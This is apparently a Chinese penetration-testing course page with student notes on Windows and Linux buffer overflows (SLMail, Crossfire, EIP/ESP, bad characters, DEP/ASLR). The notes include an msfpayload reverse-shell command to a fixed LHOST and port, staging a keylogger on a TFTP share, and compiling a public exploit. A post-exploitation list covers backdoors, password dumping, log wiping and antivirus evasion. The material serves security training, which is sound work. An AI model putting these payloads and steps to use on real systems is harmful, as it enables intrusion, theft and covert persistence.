默认计划
931人加入学习
(9人评价)
安全测试缓冲区溢出

购买过Kali Linux渗透测试、武官课程包、安全技术会员课程的学员不要再买此课程

价格 ¥ 300.00
该课程属于 高校公益行 | 网络安全实践训练营 请加入后再学习

TFTP

·mkdir /tftp

·chown -R nobody /tftp/          //这样别人才能下载

 cp /usr/share/windos-binaries/klogger.exe /tftp/

atftpd --daemon --port 69 /tftp

 

 

[展开全文]

wine32 sl.exe 192.168.1.119 

非交互模式shell

·类NC远程控制shell

 

[展开全文]

网上公开的EXP代码

·选择可信赖的EXP源

·Exploit-ab

·SecurityFocus

·Searchsploit

 

apt-get install mingw32   //用于在Linux系统上编译windos程序的模块

apkg-add-architecture i386 && apt-get update && apt-get install wine32  //在Linux系统上运行windos程序的中间层

i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe

[展开全文]

不同操作系统的EAX地址不同

/usr/share/metasploit--framework/tools/nasm_shell.rb

add eax,12

jmp eax

[展开全文]

edb --run /usr/games/crossfire/bin/crossfire

//通过edb调试工具调用程序

 

[展开全文]

32位的cpu 和64位的cpu

位数指的是cpu的地址总线的位数

32位是指最大寻址空间为2的32次方

64指的是2的64次方

所以对64位做缓冲区溢出很困难

 

[展开全文]

rdesktop    //linux下的远程桌面

regsnap 可以把注册表进行实时快照

[展开全文]

find / -name msfpayload

cd /usr/share/framework2/

./msfpayload                   //用于生成payload

win32_reverse LHOST=192.168.1.117 LPORT=444 C  //生成用C语言写的反向连接444端口

win32_reverse LHOST=192.168.1.117  | grep 0d

 

win32_reverse LHOST=192.168.1.117  R | ./msfencode -b "\x00\x0a\x0d"     //-b表示不要

 

"\x90" 表示不操作    

[展开全文]

把EIP的内容改成ESP的地址

 

SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

Rebase ->False

OS这一列必须是True

cd /usr/share/metasploit-framework/tools/

./nasm_shell.rb               //把汇编语言转换成二进制

jump esp -> FFE4  \xff\xe4

!mona find -s "\xff\xe4"-m openc32.dll

[展开全文]

·寻找坏字符

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

• 返回地址、Shellcode、buffer中都不能出现坏字符

• null byte (0x00) 空字符,用于终止字符串的拷贝操作

• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符

• 0x0A

• 0x0D

[展开全文]

内存地址的书写是从右到左的

39694438  ->读的时候 38 44 69 39

 

/usr/share/metasploit-framework/tools/exploit

pattern_create.rb

pattern_offset.rb

 

[展开全文]

寄存器EIP 存放下一条指令的地址

内存单元以每4个字节为一组来进行存放

[展开全文]

缓冲区本质上是内存的片段

[展开全文]

 

import socket 导入socket模块

 

cp fileName1 fileName2 复制文件内容

 

 

[展开全文]

 

罪恶的根源:变量

数据与代码边界不清 ,

 

如何发现漏洞?

源码审计

逆向工程

模糊测试:

            向程序堆栈半随机的数据,根据内存变化判  断溢出

            数据生成器:生成随机、半随机的数据,

           测试工具:识别出漏洞

[展开全文]

缓冲区溢出

  • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被”撑爆”,从而覆盖了相邻内存区域的数据;
  • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现漏洞

  • 源码审计
  • 逆向工程
  • 模糊测试 
    • 向程序堆找半随机的数据,根据内存变化判断溢出
    • 数据生成器:生成随机,半随机数据
    • 测试工具:识别溢出漏洞

windows缓冲区溢出

FUZZER

  • SLMail 5.5.0 Mail Server
  • ImmunityDebugger_1_85_setup.exe
  • mona.py

  • DEP

  • ASLR

POP3

  • nc 110端口
  • 01.py

未知协议

  • wireshark
  • RFC

重定向数据流

生成shellcode

  • msfpayload

linux缓冲区溢出

CROSSFIRE

多人在线rpg游戏 
1.9.0版本接受入站socket连接时存在缓冲区溢出漏洞

调试工具

edb

选择和修改exp代码

网上公开的exp代码

  • exploit-db
  • securityfocus
  • searchsploit
  • msf
  • 有能力修改exp(python、perl、ruby、从、c++)

避免有害的exp

  • 不同的exp 
    • 不同的系统补丁
    • 软件版本
    • 不同的offset、shellcode
  • 扫描探测目标系统版本,搭建适当的测试环境 
    • 避免一锤子测试

后漏洞利用阶段

  • 上传工具
  • 提权
  • 擦除攻击痕迹
  • 安装后门 
    • 长期控制
    • DUMP密码
    • 内网渗透
  • 后漏洞利用阶段 
    • 最大的挑战——防病毒软件
    • 使用合法的远程控制软件
[展开全文]

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

[展开全文]